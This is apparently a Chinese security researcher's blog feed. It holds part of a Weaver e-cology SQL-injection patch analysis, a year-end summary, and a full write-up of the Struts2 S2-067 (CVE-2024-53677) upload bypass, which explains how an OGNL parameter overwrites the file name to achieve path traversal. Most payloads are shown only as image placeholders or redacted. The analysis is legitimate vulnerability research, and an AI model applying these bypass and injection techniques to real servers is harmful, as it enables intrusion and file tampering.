            this.sqlWhere = this.sqlWhere + " and t1.docstatus in(1,2,5,7)";
        } else {
            var6 = var6.equals("1") ? "1,2" : var6;
            this.sqlWhere = this.sqlWhere + " and t1.docstatus " + (var6.indexOf(",") > -1 ? "in (" + var6 + ")" : "=" + var6);
        }

        var9 = Util.null2String(var1.getParameter("isNew"));
        if ("yes".equals(var9) || var3 == DocTableType.NEWEST_DOC || var3 == DocTableType.NO_READ_DOC) {
            this.sqlWhere = this.sqlWhere + " and not exists(select 1 from docReadTag where t1.id=docid and userid " + var8 + " and usertype=1)";
        }

        if (!var7.isEmpty()) {
            this.sqlWhere = this.sqlWhere + " and exists(select 1 from cus_fielddata tcm where scope='" + ConditionUtil.CUSTOM_SCOPE + "' and id=t1.id " + var7 + ")";
        }

        if (var3 == DocTableType.DOC_BATCHSHARE && this.needRight) {
            this.sqlWhere = this.sqlWhere + " and exists(select 1 from DocSecCategory where DocSecCategory.id=t1.secCategory and DocSecCategory.shareable='1')";
        }

        if (var3 == DocTableType.DOC_OUT_TABLE) {
            var10 = CheckPermission.isOpenSecret();
            if (var10) {
                this.sqlWhere = this.sqlWhere + " and t1.secretLevel=4";
            }
        } else {
            this.sqlWhere = this.sqlWhere + getSecretSql(var2, " and t1.secretLevel");
        }

        if (var3 != DocTableType.DOC_SUBSCRIPTION_HISTORY && var3 != DocTableType.DOC_SUBSCRIPTION_APPROVE && var3 != DocTableType.DOC_SUBSCRIPTION_BACK && var3 != DocTableType.DOC_RECYCLE) {
            this.sqlWhere = this.sqlWhere + " and (t1.ishistory is null or t1.ishistory = 0)";
        }

        if (var3 == DocTableType.DOC_RECYCLE) {
            this.sqlWhere = this.sqlWhere + " and t1.ishistory != 1 ";
            this.sqlWhere = this.sqlWhere + " and t1.docdeleteuserid=" + var2.getUID();
        } else if (var3 == DocTableType.ENGINE_DOC_RECYCLE) {
            this.sqlWhere = this.sqlWhere + " and t1.ishistory != 1 ";
        } else {
            this.sqlWhere = this.sqlWhere + " and (t1.isreply is null or t1.isreply='' or t1.isreply='0')";
        }

        this.sqlWhere = this.sqlWhere.trim().startsWith("and") ? this.sqlWhere.substring(4) : this.sqlWhere;
        this.packDefaultValue(var1, var2, var3);
    }

    public String getSqlWhere() {
        return this.sqlWhere;
    }
}

回到上一层，接下来通过getSqlWhere获取变量var7，之后与其他参数一起传入getMoreList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xxxx
        DocListUtil var6 = new DocListUtil(var1, (User)null, DocTableType.SEARCH_DOC_TABLE, false);
        String var7 = var6.getSqlWhere();
        DocNewsService var8 = new DocNewsService();
        if ("1".equals(var5)) {
            var8.isNew(var5);
        }

        var3 = var8.getMoreList(var4, (User)null, var7, (Map)null);
    } catch (Exception var9) {
        var9.printStackTrace();
        ((Map)var3).put("api_status", false);
        ((Map)var3).put("api_errormsg", "catch exception : " + var9.getMessage());
    }

    return JSONObject.toJSONString(var3);
}

接下来getDocList也是一堆的拼接，最终形成一个xml模板保存到sessionkey并返回，有兴趣可以深入了解这个点，对于复现其他补丁的漏洞会有帮助（代码不贴全了大概知道意思即可）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
public Map<String, Object> getDocList(String var1, String var2, int var3, DocTableType var4, User var5, Map<String, String> var6) throws Exception {
        HashMap var7 = new HashMap();
        Object var43 = var6 == null ? new HashMap() : var6;
        String var8 = TimeUtil.getCurrentDateString();
        String var9 = "from DocDetail t1 ";
        if (var2 != null && !var2.isEmpty()) {
            var9 = var9 + ",(" + var2 + ") t2";
        }

        String var10 = "";
        String var11 = "t1.id,t1.id docstatus_id,t1.seccategory,t1.docvestin,t1.doclastmoddate,t1.doclastmodtime,t1.docsubject,t1.docextendname,t1.doccreaterid,t1.secretLevel,t1.usertype";
        var11 = var11 + ",t1.ownerid,t1.docstatus,t1.doccreatedate,t1.doccreatetime,t1.accessorycount,t1.replaydoccount,t1.sumDownload,t1.sumReadCount,t1.sumMark,t1.docpubdate,t1.docpubtime,t1.docapprovedate,t1.docapprovetime";
        String var12 = "";
        String var13 = "";
        String var14 = "doclastmoddate,doclastmodtime,id";
        String var15 = "desc";
        String var16 = "";
        String var17 = "";
        RecordSet var18 = new RecordSet();
        String var19 = var18.getDBType();
        String var20 = "isnull";
        if ("oracle".equals(var19)) {
            var20 = "nvl";
        } else if ("mysql".equals(var19)) {
            var20 = "ifnull";
        }

        if (((Map)var43).get("__custormOrderBy") != null) {
            var14 = (String)((Map)var43).get("__custormOrderBy");
            var15 = "";
        }

        this.isChatcooper = this.getChatcooper().equals(((Map)var43).get("tabTitle"));
        String var21 = "";
        String var22 = "";
        String var23 = "";
        String var24 = "";
        String var25 = "";
        String var26 = "";
        boolean var27 = true;
        int var44;
        if (var5 != null) {
            var44 = var5.getLanguage();
            HrmUserSettingComInfo var28 = new HrmUserSettingComInfo();
            var21 = var28.getBelongtoshowByUserId(var5.getUID() + "");
            var22 = var5.getBelongtoids();
            var23 = var5.getAccount_type();
            var24 = var5.getLogintype() + "+" + var5.getUID();
            var25 = var5.getLogintype() + "_" + var5.getUID() + "_" + var5.getSeclevel() + "_" + var5.getType() + "_" + var5.getUserDepartment() + "_" + var5.getUserSubCompany1();
            var26 = "column:seccategory+column:docstatus+column:doccreaterid+column:ownerid+column:sharelevel+column:id";
        } else {
            var44 = DocNewsService.getOutDocLanguage();
        }

        HashMap var45 = new HashMap();
        ArrayList var29 = new ArrayList();
        boolean var30 = CheckPermission.isOpenSecret();
        String var31;
xxxxxxxxxxxx省略一大堆
            var29.add("docpubdate");
            var45.put("docapprovedate", "<col width=\"10%\" display=\"false\" orderkey=\"docapprovedate,docapprovetime\" text=\"" + SystemEnv.getHtmlLabelName(1425, var44) + "\" labelid=\"1425\" column=\"docapprovedate\" transmethod=\"com.engine.doc.util.TimeZoneUtil.getYmdLocaleOnlyDate\" otherpara=\"column:docapprovetime\" />");
            var29.add("docapprovedate");
            var45.put("invalidationdate", "<col width=\"10%\" display=\"false\" orderkey=\"invalidationdate\"  text=\"" + SystemEnv.getHtmlLabelName(19547, var44) + "\" labelid=\"19547\" column=\"invalidationdate\" />");
            var29.add("invalidationdate");
            
        var32 = var32 + "<sql outfields=\"" + var12 + "\" backfields=\"" + var11 + "\" sqlform=\"" + Util.toHtmlForSplitPage(var9) + "\" sqlorderby=\"" + var14 + "\"  sqlprimarykey=\"t1.id\" sqlsortway=\"" + var15 + "\" sqlwhere=\"" + Util.toHtmlForSplitPage(var1) + "\" sqldistinct=\"true\" />";
        var32 = var32 + var10;
        var32 = var32 + var17;
        var32 = var32 + "<head>" + var16 + "</head>";
        var32 = var32 + "</table>";
        var34 = var4.getPageUid() + "_" + Util.getEncrypt(Util.getRandom());
        Util_TableMap.setVal(var34, var32);
        var7.put("sessionkey", var34);
        if ("1".equals(((Map)var43).get("showTableString"))) {
            var7.put("tableString", var32);
        }

        return var7;
    }

看到这里人确实头大，就算一眼看到了很多注入点但是如何构造也成了问题，但所幸存在一个路由getxml能解析xml返回我们的完整sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@GET
@Path("/getxml")
@Produces({"text/plain"})
public String getDataKeyValue(@Context HttpServletRequest var1, @Context HttpServletResponse var2) {
    String var3 = Util.null2String(var1.getParameter("dataKey"));
    JSONObject var4 = new JSONObject();
    var4.put("status", false);

    try {
        if (!"".equals(var3)) {
            String var5 = Util.null2String(Util_TableMap.getVal(var3));
            if (!"".equals(var5)) {
                var4.put("xmlString", var5);
                SplitPageBean var6 = new SplitPageBean(var1, var3, new String[]{"head", "sql"});
                String var7 = Util.null2String(var1.getParameter("sortParams"));
                RecordSet var8 = new RecordSet();
                String var9 = this.getDevTableSql(var6.getSql(), var6.getHeads(), var7, var8.getDBType());
                var4.put("sql", var9);
                var4.put("status", true);
            } else {
                var4.put("msg", "xmlString is null");
            }
        } else {
            var4.put("msg", "dataKey is null");
        }
    } catch (Exception var10) {
        logger.error(var10);
        var10.printStackTrace();
        var4.put("msg", Util_public.getErrorInfoFromException(var10));
    }

    return var4.toString();
}

这时候当你高兴的找好了注入点，啪的一声又被再次打脸，都被转义了还怎么玩？这其实是泛微的一些防御机制，这里不做细讲，我们的攻击Payload被全角化了

image-20250709221239558

那这时候该怎么办？作为新手，难道我还要去花费大量时间Debug看看泛微是在哪里过滤了？怎么绕过它的正则匹配？显然并不需要，记得我之前说了，这里存在大量的注入点，那么这个问题就可以化繁为简了，一个不行就两个、三个、四个点不就好了？只要能保证SQL能完整组装起来即可

(PS：特殊时期就都打重码了，大概知道思路学习即可)

image-20250709222212802

可以“看到”我们成功构造出了想要的语句，实战中我们经常查询系统中内置的表

image-20250709222940023

在这里语句并没有直接执行之前也说了保存到了sessionkey里，接下来就是触发语句的问题了，随便找了一个不需要登录的，看代码逻辑会解析sql并执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@POST
@Path("/counts")
@Produces({"text/plain"})
public String getcounts(@Context HttpServletRequest var1, @Context HttpServletResponse var2, @FormParam("dataKey") String var3) {
    JSONObject var4 = new JSONObject();
    var4.put("status", false);

    try {
        if (StringUtils.isBlank(var3)) {
            var4.put("msg", "dataKey is null");
            return var4.toJSONString();
        }

        User var5 = HrmUserVarify.getUser(var1, var2);
        Thread.sleep(100L);
        String var6 = Util_TableMap.getVal(var3);
        if (StringUtils.isBlank(var6)) {
            logger.info("读取dataKey为空:" + var3);
            int var12 = var5 != null ? var5.getLanguage() : 7;
            var4.put("msg", SystemEnv.getHtmlLabelName(508217, var12));
            var4.put("errorCode", "005");
            return var4.toJSONString();
        }

        SplitPageBean var7 = new SplitPageBean(var6, 0, new String[]{"RootMap", "sql", "head"});
        if (var7.getRootMap().containsKey("datasource")) {
            var4 = this.getMethodDatas(var7, var5, var4, var1, var2);
            if (var4.containsKey("datas")) {
                var4.remove("datas");
            }
        } else {
            JSONObject var8 = var7.getSql();
            String var9 = var7.getSql().getString("poolname");
            var4.put("count", this.getDaoTableByPool(var9).getDevTableCount(var8));
        }

        var4.put("status", true);
    } catch (Exception var10) {
        logger.error(var10.getMessage());
    }

    String var11 = JSON.toJSONString(var4);
    return var11;
}

因为是盲注的缘故，盲注满足条件所以最终count返回大于0

image-20250709223035292

到这里复现也基本结束

]]> <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla 泛微最新补丁分析(20250704) https://y4tacker.github.io/2025/07/09/year/2025/07/%E6%B3%9B%E5%BE%AE%E6%9C%80%E6%96%B0%E8%A1%A5%E4%B8%81%E5%88%86%E6%9E%90-20250704/ 2025-07-08T16:22:50.000Z 2025-07-08T16:25:59.724Z
]]> 有东西被加密了, 请输入密码查看. 契约锁最新前台命令执行及花式绕WAF思路 https://y4tacker.github.io/2025/07/02/year/2025/07/%E5%A5%91%E7%BA%A6%E9%94%81%E6%9C%80%E6%96%B0%E5%89%8D%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%8F%8A%E8%8A%B1%E5%BC%8F%E7%BB%95WAF%E6%80%9D%E8%B7%AF/ 2025-07-02T13:43:40.000Z 2025-07-03T15:10:32.523Z
]]> 有东西被加密了, 请输入密码查看. 浅析Gogs 远程命令执行(CVE-2024-56731) https://y4tacker.github.io/2025/06/25/year/2025/06/%E6%B5%85%E6%9E%90Gogs-%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-CVE-2024-56731/ 2025-06-25T14:35:11.000Z 2025-07-08T16:29:52.147Z
]]> 有东西被加密了, 请输入密码查看. 浅析Weaver Getdata前台SQL注入 https://y4tacker.github.io/2025/06/17/year/2025/06/%E6%B5%85%E6%9E%90Weaver-Getdata%E5%89%8D%E5%8F%B0SQL%E6%B3%A8%E5%85%A5/ 2025-06-17T14:16:58.000Z 2025-06-17T14:42:04.715Z
]]> 有东西被加密了, 请输入密码查看. 浅析契约锁电子签章系统远程代码执行 https://y4tacker.github.io/2025/06/11/year/2025/06/%E6%B5%85%E6%9E%90%E5%A5%91%E7%BA%A6%E9%94%81%E7%94%B5%E5%AD%90%E7%AD%BE%E7%AB%A0%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ 2025-06-11T13:32:57.000Z 2025-06-11T14:10:34.984Z
]]> 有东西被加密了, 请输入密码查看. 某系统前台RCE浅析 https://y4tacker.github.io/2025/04/16/year/2025/04/%E6%9F%90%E7%B3%BB%E7%BB%9F%E5%89%8D%E5%8F%B0RCE%E6%B5%85%E6%9E%90/ 2025-04-16T04:18:12.000Z 2025-04-28T13:13:09.051Z
]]> 有东西被加密了, 请输入密码查看. 某系统前台组合拳RCE https://y4tacker.github.io/2025/02/23/year/2025/02/%E6%9F%90%E7%B3%BB%E7%BB%9F%E5%89%8D%E5%8F%B0%E7%BB%84%E5%90%88%E6%8B%B3RCE/ 2025-02-23T04:40:35.000Z 2025-02-24T14:07:58.305Z
]]> 有东西被加密了, 请输入密码查看. 2024不是年终总结的总结 https://y4tacker.github.io/2024/12/31/year/2024/12/2024%E4%B8%8D%E6%98%AF%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93%E7%9A%84%E6%80%BB%E7%BB%93/ 2024-12-31T02:02:01.000Z 2024-12-31T03:23:14.891Z

2024不是年终总结的总结

今年总体而言都和计划差不多走了下去，差不多做到了心若止水，心里基本没什么情绪波动了

博客里不想分享过多的生活(娱乐活动多，玩得很爽🤪)

让博客一直纯粹下去，简单总结下今年的技术进展吧

博客

博客上差不多算是“大满贯”吧，差不多每个月都坚持写了点东西

image-20241231100707268image-20241231100730839image-20241231100707268image-20241231100647156

Github与漏洞研究

Github也罕见的做到了每月有更新🤪说到这当然也就离不开年初定下的flag🚩，不然没事谁天天往Github上Push东西呢

image-20241231101324479

年初的Flag虽然没有完成但也搞了个7788，换了Logseq的双链笔记挺好用的还能一键生成图片，大部分是熟悉某些系统的框架相关，但因为有些0day和1day不方便展示索性全部打码了，也别私聊问，问就是垃圾洞

Contents

通用技术

除了漏洞以外通用性的姿势也学了不少

  • 命令执行算是超级master级别，各种各样特性断断续续学了一整年
  • 表达式必须是小mater级别，对于部分常用框架特性熟悉的七七八八
  • XSS也算“入门”吧，以前总以为XSS就是简单的闭合alert，但因为工作的原因不断拓展了解了很多不一样的特性技巧才发现这真的很难，后面也会持续性学习这一块
  • 大模型被迫入了门….
]]> <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla Apache Struts2 文件上传逻辑绕过(CVE-2024-53677)(S2-067) https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/ 2024-12-16T12:03:43.000Z 2024-12-17T04:24:16.476Z

Apache Struts2 文件上传逻辑绕过(CVE-2024-53677)(S2-067)

前言

​ Apache官方公告又更新了一个Struts2的漏洞，考虑到很久没有发无密码的博客了，再加上漏洞的影响并不严重，因此公开分享利用的思路。

分析

影响版本

Struts 2.0.0 - Struts 2.3.37 (EOL), Struts 2.5.0 - Struts 2.5.33, Struts 6.0.0 - Struts 6.3.0.2

环境搭建

Struts2的环境搭建比较简单，分析时使用了两种不同漏洞场景的代码

UploadsAction对应多文件上传的场景，也是最简单的场景，不需要任何其他背景知识方便理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import java.io.*;
import java.util.ArrayList;
import java.util.List;

public class UploadsAction extends ActionSupport {

    private static final long serialVersionUID = 1L;
    private List<File> upload;
    private List<String> uploadContentType;
    private List<String> uploadFileName;
    private List<String> uploadedFileNames =  new ArrayList<String>();

    public List<File> getUpload() {
        return upload;
    }

    public void setUpload(List<File> upload) {
        this.upload = upload;
    }

    public List<String> getUploadContentType() {
        return uploadContentType;
    }

    public void setUploadContentType(List<String> uploadContentType) {
        this.uploadContentType = uploadContentType;
    }

    public List<String> getUploadFileName() {
        return uploadFileName;
    }

    public void setUploadFileName(List<String> uploadFileName) {
        this.uploadFileName = uploadFileName;
    }

    public List<String> getUploadedFileNames() {
        return uploadedFileNames;
    }

    public String doUpload() {
        for (int i = 0; i < uploadFileName.size(); i++) {
            uploadedFileNames.add(uploadFileName.get(i));
        }
        return SUCCESS;
    }

}

UploadAction对应单文件上传的场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import java.io.*;
import java.util.ArrayList;
import java.util.List;

public class UploadAction extends ActionSupport {

    private static final long serialVersionUID = 1L;


    private File upload;
    private String uploadContentType;
    private String uploadFileName;


    public File getUpload() {
        return upload;
    }

    public void setUpload(File upload) {
        this.upload = upload;
    }

    public String getUploadContentType() {
        return uploadContentType;
    }

    public void setUploadContentType(String uploadContentType) {
        this.uploadContentType = uploadContentType;
    }

    public String getUploadFileName() {
        return uploadFileName;
    }

    public void setUploadFileName(String uploadFileName) {
        this.uploadFileName = uploadFileName;
    }


    public String doUpload() {
        return SUCCESS;
    }

}

struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="upload" extends="struts-default">
        <action name="upload" class="com.struts2.UploadAction" method="doUpload">
            <result name="success" type="">/file.jsp</result>
        </action>
    </package>
    <package name="uploads" extends="struts-default">
        <action name="uploads" class="com.struts2.UploadsAction" method="doUpload">
            <result name="success" type="">/files.jsp</result>
        </action>
    </package>
</struts>

file.jsp

1
2
3
<%@page contentType="text/html; charset=UTF-8" language="java" %>
<%@ taglib prefix="y4tacker" uri="/struts-tags"%>
上传的文件名是:<y4tacker:property value="uploadFileName" />

files.jsp

1
2
3
4
5
6
7
8
9
10
11
<%@page contentType="text/html; charset=UTF-8" language="java" %>
<%@ taglib prefix="y4tacker" uri="/struts-tags"%>
<y4tacker:if test="uploadedFileNames.size() > 0">
    文件上传成功:
    <y4tacker:iterator value="uploadedFileNames">
        <li><y4tacker:property /></li>
    </y4tacker:iterator>
</y4tacker:if>
<y4tacker:else>
    no files.
</y4tacker:else>

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>*.action</url-pattern>
    </filter-mapping>

</web-app>

目录结构如下

image-20241216204105946

前置知识

由于是S2-066的绕过，所以需要对上一个漏洞的原理有所了解，在我上一篇文章中Apache Struts2 文件上传分析(S2-066)对此有详细的介绍，这里就不详细描述了，对于上一个漏洞，官方的修复也很暴力，在FileUploadInterceptor中设置参数时，忽略大小写遍历删除同名参数再做添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public HttpParameters appendAll(Map<String, Parameter> newParams) {
    this.remove(newParams.keySet());
    this.parameters.putAll(newParams);
    return this;
}

public HttpParameters remove(Set<String> paramsToRemove) {
    Iterator var2 = paramsToRemove.iterator();

    while(var2.hasNext()) {
        String paramName = (String)var2.next();
        this.parameters.entrySet().removeIf((p) -> {
            return ((String)p.getKey()).equalsIgnoreCase(paramName);
        });
    }

    return this;
}

S2-067，不同于以往的漏洞分析，这一次不能通过官方的commits对比快速定位漏洞原因

image-20241216205557836

原因是官方直接使用了一个新的类，在官方文档中，告诉我们在处理上传时推荐使用新的拦截器org.apache.struts2.interceptor.ActionFileUploadInterceptor

简单分析不难看到，其与之前的org.apache.struts2.interceptor.FileUploadInterceptor最大的区别在于，这一次并没有参数存储的过程，因此也不存在变量覆盖的问题

image-20241216210259192

失败的尝试

在一开始，没有其他背景知识的情况下，我的第一个思路是java.lang.String#equalsIgnoreCase是否安全？

查看Java的实现可以看到，在regionMatches中对于每个字符的比较过程中都是同时转小写以及大写做比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public boolean equalsIgnoreCase(String anotherString) {
    return (this == anotherString) ? true
            : (anotherString != null)
            && (anotherString.value.length == value.length)
            && regionMatches(true, 0, anotherString, 0, value.length);
}

public boolean regionMatches(boolean ignoreCase, int toffset,
        String other, int ooffset, int len) {
    char ta[] = value;
    int to = toffset;
    char pa[] = other.value;
    int po = ooffset;
    // Note: toffset, ooffset, or len might be near -1>>>1.
    if ((ooffset < 0) || (toffset < 0)
            || (toffset > (long)value.length - len)
            || (ooffset > (long)other.value.length - len)) {
        return false;
    }
    while (len-- > 0) {
        char c1 = ta[to++];
        char c2 = pa[po++];
        if (c1 == c2) {
            continue;
        }
        if (ignoreCase) {
            // If characters don't match but case may be ignored,
            // try converting both characters to uppercase.
            // If the results match, then the comparison scan should
            // continue.
            char u1 = Character.toUpperCase(c1);
            char u2 = Character.toUpperCase(c2);
            if (u1 == u2) {
                continue;
            }
            // Unfortunately, conversion to uppercase does not work properly
            // for the Georgian alphabet, which has strange rules about case
            // conversion.  So we need to make one last check before
            // exiting.
            if (Character.toLowerCase(u1) == Character.toLowerCase(u2)) {
                continue;
            }
        }
        return false;
    }
    return true;
}

在这个时候，突然想到phithon曾写过一篇关于:Fuzz中的javascript大小写特性的文章

同样的，有个天马行空的思路就是，有没有可能存在一些字符它的大写等于另一个字符的小写呢？如果存在这种情况，在后面参数绑定过程中ognl.OgnlRuntime#capitalizeBeanPropertyName做参数处理时又通过对其转大写还原成正常的字母

image-20241216204904759

很可惜，跑了很久的代码并没有发现存在这样的情况🤪那么

(Ps: 当然这其中不止失败了一次，期间也想过很多不同的思路，当然都是以失败告终🥱)

Struts2的参数绑定

​ 在上文中提到了，新版的Struts2文件上传拦截器没有参数存储的过程，那么很容易联想到漏洞的利用还是与参数相关，Struts2中对于参数绑定通过Ognl表达式实现，具体实现在com.opensymphony.xwork2.interceptor.ParametersInterceptor拦截器中

image-20241216211033904

简单发一个上传的包Debug做验证

image-20241216211429703

在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters中，有着对参数字符的限制函数，只有isAcceptableParameter条件为true才能做接下来的参数绑定

image-20241216211708349

这部分限制还是满死的，毕竟历史上Struts2被爆出无数RCE漏洞，其中修修补补无数(没学过的自己去补补课)，因此想要绕过各种个样限制直接完成RCE是极为困难的。另外在这里，我也不会把所有的参数限制条件列举出来，哪里卡住绕哪里即可，这里就浪费时间讲解一些不重要的过程，当然有兴趣也可以具体看看各个限制条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// com.opensymphony.xwork2.interceptor.ParametersInterceptor#isAcceptableParameter
protected boolean isAcceptableParameter(String name, Object action) {
    ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
    return this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
}

// com.opensymphony.xwork2.interceptor.ParametersInterceptor#isAcceptableParameterValue
protected boolean isAcceptableParameterValue(Parameter param, Object action) {
    ParameterValueAware parameterValueAware = action instanceof ParameterValueAware ? (ParameterValueAware)action : null;
    boolean acceptableParamValue = parameterValueAware == null || parameterValueAware.acceptableParameterValue(param.getValue());
    if (this.hasParamValuesToExclude() || this.hasParamValuesToAccept()) {
        acceptableParamValue &= this.acceptableValue(param.getName(), param.getValue());
    }

    return acceptableParamValue;
}

在这里，RCE的宏伟目标就暂不考虑了，我们只需要知道既然Struts2使用了Ognl做参数绑定的实现，那么便可以尝试通过参数绑定的过程去实现对上传文件名的修改，从而绕过系统对于目录穿越的限制

S2-067之多文件上传场景绕过

回到本身，简单整理下漏洞绕过的思路，用一句话来概括就是:

在参数名与文件上传参数不一致的前提下，能通过Ognl参数绑定过程对文件名做修改

在多文件上传情景下，为方便调试，首先简单构造一个上传多文件的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /uploads.action HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 138

------WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload";filename="1.txt"
Content-Type:  text/plain

y4tacker
------WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload";filename="2.txt"
Content-Type:  text/plain

1
------WebKitFormBoundaryq0PW93h6lyBzjZNZ--

在这个场景下如何使用简单的Ognl表达式对文件名做赋值呢？

由于在这里我们的uploadFileName是列表的格式

image-20241216215633895

我们很容易想到使用中括号写法uploadFileName[0]的形式对其中的文件名做修改，简单在控制台尝试，在这里成功对我们的文件名做了修改

image-20241216214230468

在这个场景下，很容易验证得到绕过的Poc，在自己尝试时同样别忘了参数保存是在TreeMap中，这是个有序列表，简单解释下尽管在FileUploadInterceptor中参数保存在无序的HashMap中了，但是在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters完成参数绑定的过程中重新用了有序的Treemap做包装

image-20241217121431646

因此错误的大小写以及参数名会影响其排列顺序，导致文件名无法覆盖(S2-066的时候也讲过)

image-20241216215221263

S2-067之单文件上传场景绕过

同样的Payload放在单文件上传的场景自然而然就失效了，毕竟我们的uploadFileName在这里只是一个String类型的变量

image-20241216215916972

同样的为了完成文件名的修改，我们依旧需要在参数名与文件上传参数不一致的前提下，通过Ognl参数绑定过程对文件名做修改

在讲解之前我们需要知道一个概念，在Ognl中有个重要的概念叫做值栈，值栈主要目的是为了让能方便的访问Action的属性

在Struts2中默认的实现为OgnlValueStack，Struts2在执行一次请求的过程中会把当前的Action对象自动存入值栈中，

因此我们只要能获取到这个对象就能完成对文件名的修改

为了方便调试Ognl语句，我们首先构造一个正常的Http流量包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /upload.action HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 138

------WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload";filename="1.txt"
Content-Type:  text/plain

y4tacker
------WebKitFormBoundaryq0PW93h6lyBzjZNZ--

在Struts2中我们可以使用[0]获取整个栈对象，为方便显示转换为String对象，调用其 toString()方法输出对象信息，可以看到栈顶元素即为我们的Action对象

image-20241216222946380

因此我们可以使用top关键词直接获取到栈顶的Action对象，从而获取到FileName参数

image-20241216223426658

因此我们可以尝试使用[0].top.UploadFilename来对文件名做修改，但显然从返回结果来看并没有成功

image-20241216223556486

经过调试发现，这里的isAcceptableParameter返回了false

image-20241216223739866

没通过的条件是com.opensymphony.xwork2.interceptor.ParametersInterceptor#isAccepted

对应的表达式为\w+((\.\w+)|(\[\d+])|(\(\d+\))|(\['(\w-?|[\u4e00-\u9fa5]-?)+'])|(\('(\w-?|[\u4e00-\u9fa5]-?)+'\)))*

image-20241216224001694

没通过的原因很简单[0]前面不能为空

image-20241216224332972

这个条件Bypass也很简单，在表达式中[0].top等价于top

image-20241216224605814

最终我们成功实现了在单文件上传场景下的绕过

image-20241216224806731

参考文章

https://developer.aliyun.com/article/330800

https://paper.seebug.org/794

https://cwiki.apache.org/confluence/display/WW/S2-067

